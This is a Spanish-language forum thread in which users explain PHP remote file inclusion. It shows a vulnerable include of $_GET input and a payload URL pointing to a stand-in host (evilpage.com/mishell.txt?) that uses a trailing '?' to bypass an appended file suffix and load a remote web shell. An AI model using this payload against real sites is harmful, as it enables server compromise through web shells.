lo que hace el "?" es que se ejecute la shell o no?
No, lo que hace el "?", es separar la parte "real" de la parte "imaginaria"Te explico más.
Tenes este código:
Código
La inclusión normal sería:
include $_GET['a'].'_template.php';
...?a=http://evilpage.com/mishell.txt
Pero si haces esto así normal, te saldría un error porque en realidad estaría incluyendo el archivo
http://evilpage.com/mishell.txt_template.php
Para hacerle el escape a eso y no incluya el archivo "mishell.txt_template.php", se utiliza el "?" que me parece que también se llama porción de consulta, que es la que contiene las variables get en la petición.
En total quedaría:
...?a=http://evilpage.com/mishell.txt?
y el resto que se incluye es como si fuera una variable get
include('http://evilpage.com/mishell.txt?_template.php'); Siendo _template.php una variable
¿Si no has podido ejecutar scripts como sabes q es vulnerable a RFI? Prueba a ejecutar un script básico como:
Porque mira que warlock394 dijo: "pero no se ejecuta, simplemente muestra el codigo fuente de la shell"Código:
<?
echo "texto";
?>
Significa que no hay inclusión remota, que puede ser como dije mas arriba:
Código
$pag = $_GET['pag_dest'];
modified.
y sorry por revivir el post pero no lo había visto, y me veía "obligado" a responder
saludos.